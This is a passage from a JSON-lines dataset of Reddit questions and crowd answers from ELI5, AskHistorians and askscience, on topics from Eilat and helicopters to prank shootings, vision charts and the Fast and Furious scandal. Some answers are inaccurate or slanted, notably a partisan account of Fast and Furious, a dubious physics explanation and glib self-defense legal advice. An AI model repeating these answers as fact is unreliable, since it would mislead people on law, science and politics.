["http://www.ext.colostate.edu/pubs/garden/02926.html"], ["http://en.wikipedia.org/wiki/Mangrove", "http://en.wikipedia.org/wiki/Bald_cypress"], [], [], [], ["http://en.wikipedia.org/wiki/Mangrove"], [], ["http://www.ext.colostate.edu/pubs/garden/02926.html"], ["http://en.wikipedia.org/wiki/Mangrove", "http://en.wikipedia.org/wiki/Bald_cypress"], [], []]}
{"q_id": "6gphhr", "title": "Why does Israel have a small Red Sea coastline?", "selftext": "Looking at a map of Israel, I noticed that it has a city on the Red Sea, Eilat. I was wondering why Israel has that small coastline there, and how long that was part of Israel.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6gphhr/why_does_israel_have_a_small_red_sea_coastline/", "answers": {"a_id": ["dist32s"], "score": [3], "text": ["It's been part of the modern State of Israel since its inception - it was assigned to Israel in the initial 1947 partition plan. As for why, the idea is that Israel would be assigned the sparsely-populated areas, including the Negev desert, so that they would have room for new immigrants. (Eilat wasn't really a city in 1947.)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4fk50f", "title": "the invention of the plane and the first powered flight by the wright brothers is well documented. why is the invention of the helicopter, an equally important and more complex machine, not as widely known or publicised?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4fk50f/eli5_the_invention_of_the_plane_and_the_first/", "answers": {"a_id": ["d29hvvd", "d29hw6n", "d29j748", "d29k5xo", "d29ll3c", "d29lodd", "d29ni5w", "d29opu8", "d29p0yp"], "score": [12, 67, 3, 4, 10, 4, 3, 2, 2], "text": ["Actually several different persons are credited with invention of flight depending on the country you are in.  Even defining what you mean as a helicopter is less clear. Do gyrocopters count?", "The Wright Brothers flew the first self-powered sustained flight, a massive goal humanity had been working towards for centuries. \n\nThe helicopter simply represented the first aircraft also capable of vertical takeoff and hovering. This is significantly less exciting (and also heavily based on the work the Wright Brothers did on aerodynamics). ", "when they build the first hyperspace machine or time travel device, that should get equal press.  why in the world should the helicopter be considered an equal achievement compared to the first time a human had EVER flown?  agree with u/friend1949 that it likely was not the Wright brothers first.", "One reason might be that the first functional helicopter was developed and flown in 1936, in Germany. WW2 started in 1939, so in the US at least we wouldn't be keen on celebrating a German achievement in the same way that we would with the Wright brothers.", "All inventions are the work of many persons. Typically the person who makes the first commercially viable design gets credited with 'inventing' it. In reality no invention is ever the work of only one person. \n\nTo quote Sir Isaac Newton:\n\"If I have seen further, it is by standing on the shoulders of giants.\" \n\nInvention is ALWAYS by standing on the shoulders of giants. But through notoriety, being idolized, or self popularizing, a single person is often associated with an invention. Like Edison (not the first to make electric light), Marconi (not the first to generate radio waves), Goddard (not the first to build rockets), Wright brother (not the first to make heavier than air craft), Roentgen (not the first to recoginize something interesting with high voltage and vacuum), and so on.\n\nIgor Sikorsky is often credited with 'inventing the helicopter, but even he did not invent it in entirety. He put together the best parts of many past attempts at making one.\n\n_URL_0_ \n\n_URL_2_ \n\n_URL_1_ \n\nYou will find similar complex history for any invention.\n\n", "The first *flight* was arguably 1783 with the first hot air balloon in france.  From that point on it was clear that flight must be possible the question was how.  Hot air balloons though rely on principles we already understood from ships (and remember metal ships weren't really a thing until the 1840's).  \n\nThe wright brothers in many ways didn't invent flight, and not powered flight.  They invented the ability to control powered flight, as most (reasonable) contemporary attempts were basically propellers and a wing but they couldn't be controlled in all 3 axes of motion.  Remember we had shell projectiles at this point too, so 'powered flight' depended to some degree on what problem you consider solving.\n\nThe problem with the 'invention' of the helicopter is that there are many workable designs, most of which were at least in small scale lab tests done well before anyone built an actual helicopter you would mass produce.  The french had something approximating a quadcopter in [1907](_URL_0_) that basically didn't work very well, and others had variants on the idea.  \n\nWith fixed wing aircraft lots of people had designs - but none of them work.  Sort of imagine 10 years of cars without brakes, reverse or gears.  The goal isn't to make the first car, the goal is to make the first car anyone would be sane enough to drive.  That was the wright brothers - all at once they took it from completely uncontrollable to controlled, and we still use basically the same controls today.  With the helicopter lots of people,  The French, Russians, Italians, Americans, Germans (and maybe british) all invented variants on the helicopter that have merits and work to solve a particular problem.  \n\nIn a way it's a bit like Cadillac.  Almost no ones knows that it was cadillac that came up with the basic controls we all use on all modern cars because there are other solutions that worked, just not as well.  With helicopters, there are lots of solutions that work, so pinning down one and saying 'that guy invented the helicopter' is a bit unfair, lots of people invented helicopter designs that are still in use, and there isn't really one that is strictly better than all of the alternatives.  \n", "Why is the helicopter as big of an invention as the airplane? They are much less used. Airplanes have huge swaths of land dedicated to their use with massive government and corporate infrastructure to allow the common man to use them for travel. Personally I've been on planes dozens of times and yet never even seen a helicopter up close. ", "Because the incremental gain of creating the first manned aircraft is much greater than the creation of the helicopter ", "Because the helicopter didn't come to full fruition until after the Wright brothers had already freed us from the ground.  By the time the helicopter was invented and perfected, we had already conquered and defied Nature.  No one was questioning whether we talking apes could take to the skies at that point. The helicopter was just a new way to do it with a smaller landing zone."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["https://en.wikipedia.org/wiki/Igor_Sikorsky", "https://en.wikipedia.org/wiki/Helicopter", "https://www.asme.org/engineering-topics/articles/aerospace-defense/igor-sikorsky-aviation-pioneer"], ["https://en.wikipedia.org/wiki/Breguet-Richet_Gyroplane"], [], [], []]}
{"q_id": "3dq200", "title": "if one day, a youtuber or pranker was shot or killed by performing a prank, what would be the outcome or verdict?", "selftext": "Im thinking in terms of youtube videos where youtubers \"pretend\" to be zombies or something life threatening, if the victims were to have pulled out a gun or run over them with a car out of fear, shock, or their own safety, what would be the actual result in terms of charges? Sometimes I find it scary, especially in modern times how easy someone could get themselves killed \"pranking\"", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3dq200/eli5_if_one_day_a_youtuber_or_pranker_was_shot_or/", "answers": {"a_id": ["ct7k35k", "ct7k3uq", "ct7khqb", "ct7oj3n", "ct7qqlr", "ct7redl", "ct7txor"], "score": [66, 2, 17, 8, 4, 2, 7], "text": ["Whether you are doing something for a video or not, the outcome of a trial would be the same. For example if you make someone seriously fear for their life and they shoot you or stab you in the eyeball or something, their claim of self-defense is not affected by a later discovery that you were just making a joke for a video.\n\nIt would be wise to avoid terrifying people.", "This can't be answered to a certainty one way or another. What does the law in the area say about self defense? Did the person have a reasonable fear for their life or safety? Did they bear their weapon in a legal fashion? It's entirely possible nothing would happen to them, or they could go to jail.", "The key issue is usually, the \"reasonable person\" standard. Would a reasonable person in that situation genuinely believe they were in a life threatening situation.\n\nFor example there is a prank video where someone is wearing a mask and holding a rifle and walking towards people in the evening. A reasonable person might believe that their life is in danger and take action to protect themselves. \n\nA prank that triggers a person's fight or flight behavior is an unwise prank. Especially when the victim of the prank thinks their life is in danger.", "I was always surprised no one ended up getting shot or damn near killed while filming \"Scare Tactics\"", "Defensive use of a firearm requires an articulable and imminent threat of death or serious bodily harm. This can be a threat to you or another, and include forcible felonies like rape and kidnapping. Nuances vary by US state.\n\nIf you were to draw on an unarmed \"zombie\" approaching you, rather than trying to retreat, you would face assault charges. If an unarmed prankster was dragging a screaming woman into a van, use of force may be justified in court due to the apparent forcible felony. \n\nIf the prankster had a weapon of any kind- club, knife, firearm- an individual could perceive a direct threat of death or serious injury, an use of force is very likely to stand up in court. The question at this point is whether the prankster or the family of the prankster could pursue civil damages. In some states the pursuit of civil damages in a defensive shooting is preempted by statute. \n\nThere's no legal distinction between attacking a person and pretending to do so if the person being attacked, or witnessing it, is not in on the joke. It's a good way to get yourself hurt or worse. \n\nSource: Extensive defensive firearms training with concealed carry permits valid in 38 U.S. States. \n\n", "This depends on the country/state and the act they were committing. If you are in Texas, for example, and someone is visibly trying to break into your home, occupied car or workplace, you can use non-deadly force to stop them. If you believe that you are in danger, or that they are going to get away with your stuff, you may use deadly force to stop them. You can then press charges against them, if they live.\n\nSome places, like England, are much more strict. You have to prove that you are still in danger between acts, AND that you couldn't get away. For example, if someone pulls a gun on you and you stab him/her four times. You could be sent to prison if the jury thinks that two or three times would have disabled them enough for you to get away.\n\nDecided to add a TL;DR Edit:  Geography. If you are in Texas, go wild. If you are in England, run first, then only use as much force as a jury might agree with.", "\"if one day\", its already happened sadly. Here is a link I found: [\"approached a couple of Vice Lord gang members and said, \u201care you ready to dye\u201d. Before the teen could pull out a bottle of Clairol hair dye to insinuate that he meant dying his hair, one of the gang members pulled out a .22 and shot Wilson\u00a0multiple times in the head\"](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], ["http://newsbuzzdaily.com/hood-prank-gone-wrong-prankster-murdered-in-chicago/"]]}
{"q_id": "1lfysg", "title": "Romanization? How and when?", "selftext": "We've all heard that the Romans spread Latin and Greek throughout the Empire and heard several ways they did it (settling soldiers, mandating ceremonies to the Roman gods alongside local gods, etc.) How many of them were really effective? And when did most people speak Latin?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1lfysg/romanization_how_and_when/", "answers": {"a_id": ["cbyzqa2"], "score": [2], "text": ["Language is one good clue to how effective Romanization was. In Spain, Northen Italy, France, and Belgium, people speak a descendant of Latin, not the Celtic was spoken at conquest. What's really impressive is Romania, which is a much later conquest but still speaks a Romance language. In parts of the empire that don't now speak Romance languages, it's because of subsequent migration of outside peoples  \n\nOr look at place names: any English place ending in -cester is Roman. \n\nRomanization was remarkably successful, particularly when there wasn't much of a deliberate policy pushing it. \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1kq9h7", "title": "Were slaves ever used for fights such as in the movie \"Django Unchained\"?", "selftext": "I recently watched the movie and now I'm wondering this. I'm a history major and I have never heard of such a thing. Also were slaves ever castrated or is anything else in that film accurate?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1kq9h7/were_slaves_ever_used_for_fights_such_as_in_the/", "answers": {"a_id": ["cbrjucb", "cbrkvlb", "cbrlcht", "cbrn39b", "cbrngfd"], "score": [266, 77, 32, 23, 11], "text": ["No evidence has been found that stuff like this ever took place with any regularity: \n\n_URL_0_", "Yes. The most well known example are the gladiatorial games of ancient Rome. ", "On your second question:\n\nSome sources indicate that Arab slave traders often castrated male slaves. [Source](_URL_0_). However, the pervasiveness of this practice is contradicted by other sources and goes against common sense.  If you accept the idea that slavery was all about economics, castration doesn't make sense because it means the slaves couldn't reproduce.    \n\nSome time ago I read an account that included a story of an American slave being castrated as punishment for some sort of sexual misconduct (my recollection is that it was rape, but really what had probably happened is the slave had a consensual sexual relationship with some white woman in the household).  Sadly, I don't recall a precise source.  However, I don't think it was ever a \"practice\" in any sense of the word in the Americas. ", "~~This is after Emancipation in the South, but in Richard Wright's *Black Boy*, he describes an occasion when he and a fellow black worker was abetted by his white superiors for several rounds of boxing game. Wright also mentions that there were other black youth who would be paid handsomely to fight against each other. So perhaps not during slavery, but certainly afterwards the South saw its large population of frustrated black youth as a goldmine for entertainment.~~\n\nEDIT: I have been kindly pointed out by /u/Koulditreallybeme that Wright made most of that story up. I'm sorry.", "There's been plenty of cultures that had organized slave combat for entertainment but not in America. Not to say there aren't cases of slaves being brutalized for entertainment, just not fighting to the death.  Female slaves did serve as prostitutes as portrayed in the movie."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://mobile.slate.com/blogs/browbeat/2012/12/24/django_unchained_mandingo_fighting_were_any_slaves_really_forced_to_fight.html?original_referrer=https%3A%2F%2Fwww.google.com%2F"], [], ["http://www.salon.com/2001/04/06/segal/"], [], []]}
{"q_id": "2pduaj", "title": "Historical 'Warrior Kings' 3500 BC - 1800 AD?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2pduaj/historical_warrior_kings_3500_bc_1800_ad/", "answers": {"a_id": ["cmvsb7z"], "score": [2], "text": ["You might want to check out the [relevant section](_URL_0_) in the FAQ- there are some responses you might find interesting."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/AskHistorians/wiki/war#wiki_did_leaders_participate_in_battles.3F"]]}
{"q_id": "aypuct", "title": "why does cutting steel with a band saw cause it to become magnetic?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/aypuct/eli5_why_does_cutting_steel_with_a_band_saw_cause/", "answers": {"a_id": ["ei2dntl", "ei33hg7"], "score": [71, 4], "text": ["As metal grinds past another metal the innate magnetic fields in the metals force each other to align and boom magnetism.", "I have limited experience with this phenomenon but I don't recall filings remaining \"magnetized\" when I have visited machine shops in the past. \n\nDoes the effect fade over time? Because that would indicate to my limited understanding that it an effect of charged bits being attracted to grounded parts of the machine. \n\nAgain, I don't know much about physics or machining, but I really like this question."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3iu475", "title": "if tomorrow morning i woke up and was completely deaf, would i eventually forget how to speak?", "selftext": "Why or why not?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3iu475/eli5_if_tomorrow_morning_i_woke_up_and_was/", "answers": {"a_id": ["cujmzf1", "cujmzqr"], "score": [3, 2], "text": ["No, you wouldn't forget how to speak, but your speech might change. The reason for this is that you would not be able to hear your own voice, and have to rely on your sense of touch to tell you if your mouth is making the right shapes to create the sounds you want to make.", "Over time without the reinforcement hearing your own voice gives your brain you would start to sound characteristically deaf. You would also have difficulty with correct volume for the same reason. You would not forget how to speak. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3qwemi", "title": "do you have a better chance being chosen from 10/100 rather than 1/10?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3qwemi/eli5_do_you_have_a_better_chance_being_chosen/", "answers": {"a_id": ["cwiwbr7", "cwiwdig", "cwixe4x"], "score": [4, 3, 10], "text": ["The same exact chance.\n\nWell, except that you can't be 10 out of a 100. You can only be 1, so 1 out of 10.", "You answered your own question.\n\n1/10 = 10/100 = 100/1000 = 1000/10000, and so on.  \n\nwhich is the same as saying:\n\n10% = 10% = 10% = 10%", "SpareLiver is wrong. The answer varies depending on exactly how those 10 are chosen.\n\nIn the first scenario, imagine that there are 100 unique names in a hat, and 10 of them are drawn and not replaced into the hat. What are the odds than any single name is drawn?  The answer in this case is 1/10. This can be seen in the following way:\n\nDraw 1 has a  1/100 chance. On the case that the name was not drawn the first time (99/100 probability), the chance that the next draw is your name is 1/99. Combined, (99/100 * 1/99) this gives a 1/100 chance that your name will be the second drawn. The probability for the third draw will be (98/100 * 1/98 = 1/100), and so on. And so, you can see that your probability will be 1/100 for each draw, so for 10 draws, your total probability will be 1/10.\n\nHowever, in a different scenario, imagine that there are 100 names and 10 are drawn, but each time the names are placed back into the hat before the next one is drawn. In this case, your odds of getting your name drawn at all are easy to calculate, because you have an independent 99/100 chance of not being drawn each time, which means the answer is (99/100)^10 , which gives you a 90.4% chance of not being drawn, or a 9.6 chance of being drawn once or more."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1nkpq4", "title": "what is keeping us from using kinetic energy to charge (or extend the battery life) of our mobile phones?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1nkpq4/what_is_keeping_us_from_using_kinetic_energy_to/", "answers": {"a_id": ["ccjh30i", "ccjj5rp", "ccjmclg", "cck62nl"], "score": [48, 36, 5, 2], "text": [" >  what is keeping us from using kinetic energy to charge (or extend the battery life) of our mobile phones?\n\n[About $70](_URL_0_).", "Harnessing kinetic energy requires moving parts. The most common form of this is having a magnet move in relation to a coil. Any moving parts in any device will be much more prone to breaking than the non-moving (\"Solid-state\") parts. People want a phone to last, so a breaking generator is not feasible.\n\nAdditionally, you need space for the magnet to get moving. Space is obviously precious in a mobile phone. There's a reason rupert1920's link is external rather than integrated.", "One of my good friends co founded a company based on a sliding magnet in your shoe that generates electricity from walking. I haven't really kept up with it but its getting attention and he's making a lot of money from it.\n_URL_0_ ", "I think the problem with the answers so far have been that they think in a too large scale. Instead of shaking your arm, you have to think: *Vibrations*. There is currently a lot of (promising) research in this directory especially since the age of nano-tech.\n\nKeyworks to search for: Microgenerators, Nanogenerators, Piezoelectric, Power from Vibrations\n\nLinks:\n\n_URL_7_\n\n_URL_1_\n\n_URL_5_\n\n_URL_3_\n\n_URL_2_\n\n_URL_6_\n\n_URL_0_\n\n_URL_4_\n\n(Some of the links may talk about generating electricity from tiny temperature differences instead of kinetic movement, sorry about that)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.thevoltmakers.com/en/charge.htm"], [], ["http://www.powersole.org/category/awards/"], ["http://en.wikipedia.org/wiki/Nanogenerator", "http://web.mit.edu/micronanosystems/www/Papers/S%26A-in-press.pdf", "http://www.idtechex.com/research/reports/energy-harvesting-and-storage-for-electronic-devices-2011-2021-000270.asp", "http://www.psma.com/sites/default/files/uploads/tech-forums-energy-harvesting/presentations/2011-apec-sp-111-power-electronic-circuits-vibration-based-energy-harvesting-using-piezoelectric-dev.pdf", "http://phys.org/news/2013-01-nanogenerator-output-triples-previous.html", "http://web.mit.edu/newsoffice/2010/power-from-motion-and-vibrations.html", "http://lumedynetechnologies.com/energy-harvester/", "http://web.mit.edu/skendig/Public/MEMS05Paper_Color.pdf"]]}
{"q_id": "2pz8ag", "title": "why is fallout 3, released in 2008, notoriously difficult to make work on windows 7/8, while oblivion (2005) and fallout: new vegas (2010), games made in the same engine with many of the same assets, are not?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2pz8ag/eli5_why_is_fallout_3_released_in_2008/", "answers": {"a_id": ["cn1bsqe", "cn1cdz4", "cn1dzmd", "cn1frbb", "cn1lqvh"], "score": [8, 2, 29, 3, 2], "text": ["I must say I never had problem with FO3. What do you mean by difficult to make work ?", "You'd better x-post this to /r/pcgaming, I think they can give you a better answer.", "There isn't a problem with Fallout 3 on Windows 7/8.  There is a bug in the underlying Gamebryo engine that affects Quad core processors.\n\nHow did this become an OS version problem then?  Well, it's an example of a [confounding variable](_URL_0_).  \n\nMost consumers do not upgrade the OS of their machine.  This means most consumers with Windows XP and Vista installed on their computers have Windows XP/Vista era hardware.  Quad-core processors didn't become mainstream until after the release of Windows 7, thus making it appear as if the bug affects only later operating systems.\n\nThere is a simple two line fix for this bug which is available online.", "I don't know about any difference between FO3 and Oblivion, but New Vegas runs on an updated version of the game engine which is why you can mod NV to much higher graphics and lighting quality than you can in FO3", "Hi /u/Blenderhead36, your post isn't really a fit for ELI5 as it isn't asking for an explanation of a concept.  I would suggest posting straightforward questions in /r/answers or in the case of entirely subjective questions, /r/askreddit instead.  Thanks for understanding."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://en.wikipedia.org/wiki/Confounding"], [], []]}
{"q_id": "12tpy0", "title": "how is it possible for ryan to run for vp and lose and also run for his congress seat and win?", "selftext": "Shouldn't he have to vacate the Congress seat to run for VP? How many positions can someone run for simultaneously? Maybe it is my distaste for Ryan but it seems sketchy. Are there any examples of greatness that match this scenario? I searched but did not find anything exactly answering this. Thanks!\n\nedit: spelling", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/12tpy0/eli5_how_is_it_possible_for_ryan_to_run_for_vp/", "answers": {"a_id": ["c6y10nr", "c6y1c5i"], "score": [5, 5], "text": [" >  Shouldn't he have to vacate the Congress set to run for VP?\n\nNothing in the constitution requires this.\n\n >  How many positions can someone run for simultaneously?\n\nAll of them.  Seriously!  You might not be successful, but you can try.", "He was able to run for both, but if he had won both, he'd have to give up the House seat. Joe Biden did the same thing with his Senate seat in 2008."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "xavpz", "title": "- the fast and furious gun-running scandal.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/xavpz/eli5_the_fast_and_furious_gunrunning_scandal/", "answers": {"a_id": ["c5kqsif", "c5krs6b"], "score": [10, 11], "text": ["The US government has used a technique called \"gun walking\" to try to catch big time criminals in Mexico and other places to the south for a few years. The idea is instead of arresting some guy that was hired to buy guns in the US and take them back to Mexico, we let him take then back and track the weapons to catch that guy's boss. Fast and Furious was one of these operations, but after an American border patrol agent was killed by a weapon that was allowed to be taken across, some groups became very angry and started to attack the attorney general and others. Additionally, these groups are upset a the number of guns an the size of the guns that were used (lots of assault rifles).", "The Fast and Furious gun scandal is a follow-on to a long term effort at stifling the presumed flow of firearms from the United States.  While estimates vary, this was a minor issue when compared to the overall flow of arms flowing into Mexico from other places (China, Venezuela, deserters of the Mexican Army).  Regardless, the USA, and more specifically, the Bureau of Alcohol, Tobacco, Firearms, and Explosives was tasked with stemming what little flow of firearms that were entering Mexico.\n\nBefore I get into major details of this case, I'd like to shed some light on how gun purchases work, and how this ties into the discovery of this scandal.  First, all guns sold at gun stores require the buyer to have his background checked (ELI5 - the FBI keeps a file on you and if you committed a big crime like murder/theft then they report it to the gun dealer and tell him not to sell you a gun).  Secondly, if gun dealers feel something is 'off' about a buyer they can refuse a sale as well.\n\nBack to the story now: the BATFE had long-running efforts that involved setting up sting operations which involved the sale of guns to known traffickers, with tracking devices in the gun.  They would then let the traffickers go to Mexico and inform the Mexicans on the other side of their arrival.  Then the Mexicans would track the guns to the Cartels (ELI5 - the bad guys in charge who kill people and smuggle drugs to the USA) and make arrests.  However, something went wrong: eventually the Cartels caught on and removed the tracking devices or avoided them entirely.\n\nHowever, the BATFE, instead of ending the program, changed it.  They stopped the idea of tracking devices, they stopped informing the Mexican Government, but continued to allow guns to be sold.  Furthermore, they co-opted local gun dealers to allow this by falsifying the background check (and allowing sales to proceed) while also telling dealers it was 'okay to sell' despite their misgivings.  They eventually allowed the guns to enter Mexico with the hopes that the guns would be recovered later after being used in crimes.\n\nLong story short, the story came to light when the following happened:\n\n- A Border Patrol agent (Brian Terry) was murdered by one of the weapons smuggled into Mexico by someone smuggling drugs into the USA\n\n- Local gun stores began cooperating with local reporters and detailed what the BATFE was telling them.  \n\nThese two major factors allowed the scandal to come to light, and raised interesting questions, especially given the political atmosphere at the time.\n\n1.  How was the BATFE going to track these weapons and affect arrests?\n\n2.  Why was this happening during a time where the Obama administration was discussing Gun Control due to violence in Mexico?\n\nMost in the media realized the two were connected somewhat and that the Government of the USA was violating the laws they were supposed to enforce in order to affect long term policy goals.  Aka, they lied and cheated to make a case for new laws.\n\nThis also implicates that the head of the BATFE, the Justice Department (Eric Holder), and even President Obama are somewhat responsible for allowing this to happen, despite their best efforts to suppress evidence, whistleblowers (ELI5 - people who saw what was wrong and tried to call attention to it), and cover the story up.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "9yp0k0", "title": "Do snakes preferentially bend to the left or to the right when forming loops?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/9yp0k0/do_snakes_preferentially_bend_to_the_left_or_to/", "answers": {"a_id": ["ea3plic"], "score": [165], "text": ["A really interesting question. \nI found a study from 2003 that looked at this called [\u2018Handedness\u2019 in snakes? Lateralization of coiling behaviour in a cottonmouth, Agkistrodon piscivorus leucostoma, population](_URL_0_)\n\nI'm not sure it if it is open access, but the main result that only 3 out of 30 snakes displayed any significant \"Handedness\" in this population.  There does seem to be some bias in the snakes, but the results are not statistically significant. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.sciencedirect.com/science/article/pii/S0003347203922287"]]}
{"q_id": "4agifx", "title": "why do all vision charts start with a large capital e?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4agifx/eli5_why_do_all_vision_charts_start_with_a_large/", "answers": {"a_id": ["d1072au", "d10ccgf", "d10e08n", "d10fb4x", "d10gu3j", "d10k20n", "d10kf2v", "d10napd", "d10o7e4"], "score": [168, 7, 42, 23, 13, 3, 5, 2, 5], "text": ["When the Snellen chart is used for a basic assessment, the order of the letters doesn't really matter--the variation starting with E just happens to be commonly used by manufacturers. (There's little reason to deviate from it.) If you want to seriously test someone's ability, especially when fraud is a concern, nowadays a random selection is used rather than a fixed chart.", "Interestingly, the Russian verion of the chart (called [Sivtsev chart](_URL_0_)) starts with \u0428\u0411, the first letter looking much like an E on its side.", "Not all vision charts start with an E. In Japan, they use a circle with a small section missing.  You have to tell the examiner what direction the missing piece is, up, down, right, or left.  ", "The chart at my optometrist form a sentence when you read down. \"Excessive drinking can cause blurry vision\"", "In morocco it's only E, but the opening is pointing in different directions (on the normal E it's on the right). You have to say if it's up down left or right. They do this because something like 30-40% of the population is illiterate, so they need something anyone can understand.", "If I had to guess, I'd say it had to do w testing for astigmatism (difficulties in focusing on vertical and horizontal lines simultaneously)", "It might be anecdotal, but I realized I needed glasses because I confused the large E for three separate lines. The doctor often starts saying \"what's the smallest line you can read\" and shows you three lines. If you can't read any of them, he moves  upwards to another three, and then finally to the E. Much of the rest of the chart is built around suble tricks like this (O vs Q, etc.), so it wouldn't surprise me if this was it's intention.  But as others have said, with new fonts and large letters, it wouldn't surprise me if this was just a personal thing", "See, I actually cheat on my eye exams, though I inform the optometrist first. He asks me, \"Oh yeah? How?\"\n\nAll I do is smile and reply \"The first letter is E.\"\n\nYeah, I'm that nearsighted. Literally can't read the E on an eye chart. ", "They also have vision charts that use numbers.   When a relative of mine had a brain tumor, that was also effecting his vision, he had to have frequent eye tests.  At one point, he couldn't read the chart at all, not even the big E.  It turned out that his eyes weren't that bad - the brain tumor caused him to lose the ability to understand letters.  He could tell that they were letters but couldn't read them.  So they pulled out a chart with numbers instead, which he could understand just fine.  After his tumor was treated, he regained the ability to read (and regained his vision)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://upload.wikimedia.org/wikipedia/commons/4/4f/Golovin-Sivtsev_Table.svg"], [], [], [], [], [], [], []]}
{"q_id": "1hbnq1", "title": "why is it censored on american radio whenever someone mentions marijuana but the entire song 'cocaine' is totally fine", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1hbnq1/eli5_why_is_it_censored_on_american_radio/", "answers": {"a_id": ["casrdfv", "casruys", "cast8d2", "casttfy"], "score": [4, 4, 21, 2], "text": ["Take any rap song. If they say 'weed' or 'blunt' or anything like that it's censored ", "Censoring is usually done by the radio station to prevent complaints. Because of this to make things easier on stations studios will provide pre-censored versions. \n\nIn my town we had one of the first stations to play \"Thriftshop\" they had to edit it themselves. Once this happened the studio produced a radio ready version.\n\nIt is the same with rap. Stations and studios respond to complaints. If people complain about mj but not coke, that is what they will censor.", "For the same reason it was a huge deal when Ice-T had the song Cop Killer, but when Eric Clapton released I Shot the Sherrif, no one batted an eye. ", "Most classic rock songs with curse words are played 24-7 without censoring (\"Cocaine\",\"Money\",\"Who Are You?\" etc.) because the stations know that most listeners in their demographic don't care or would dislike those songs being cut. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "wcpsk", "title": "Since the Middle East has rich oil deposits, is it also rich in fossils?", "selftext": "Or do I have a horrible misunderstanding of geology?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/wcpsk/since_the_middle_east_has_rich_oil_deposits_is_it/", "answers": {"a_id": ["c5cabtq"], "score": [14], "text": ["OIl forms when you heat organic rich rocks up. Most of the time this heating is from being buried deep (2 to 4 miles) in the Earth where heat fluxes are higher, so the organic-rich rocks that are producing oil in most areas of the world are buried just deeper than the deepest mines.\n\nThis organic material is almost enitrely the remains of photosynthetic algae (and sometimes plants), so there are fossils, just not the type you might be thinking of. This is not to say that fossils can't be preserved in oil-rich rocks (the [Messel shale](_URL_1_) and the [Green River formation](_URL_0_) are both oil shales with beautiful large fossils), but the presence of an oil shale doesn't necessitate the presence of fossils.\n\nTL;DR: Yes, but these probably aren't the fossils most people are familiar with and they're buried too far underground to dig out."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Green_River_Formation", "http://en.wikipedia.org/wiki/Messel_pit"]]}
{"q_id": "2inp70", "title": "so, what exactly would happen to the body in the event portrayed in this gif? (all the body's water into red wine).", "selftext": "_URL_0_\n\nI'm extremely curious.  ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2inp70/eli5_so_what_exactly_would_happen_to_the_body_in/", "answers": {"a_id": ["cl3qat0", "cl3qcv4", "cl3sggz"], "score": [3, 22, 2], "text": ["Impossible to say.\n\nFor all of the bodies water to just turn into wine would be the result of a phenomenon that currently defies the laws of physics.\n\nMost of the body is made of water so (if we imagine that this is hypothetically possible) then the result would be \"not good\" to say the least. For a start it would put all of the electrolites out of ballance which would probably kill you and then all of the things dissolved in the water would vanish aswell, so that would probably muck up most of your metabolism.\n\nIt's a bit like asking what would happen if all the bricks in your house were replaced with custard: how would anyone go about finding out?", "Exactly what happens in the GIF, dead. Imagine each cell of your body, all fluids, instantaneously turning to wine which is full of alcohol, sugars, proteins, etc. which your body normally processes slowly. Now your body is suddenly overwhelmed with these substances with no way to process them. Dead.", "Death by intoxication?"]}, "title_urls": [], "selftext_urls": ["http://giant.gfycat.com/ImportantEmbellishedBushbaby.gif"], "answers_urls": [[], [], []]}
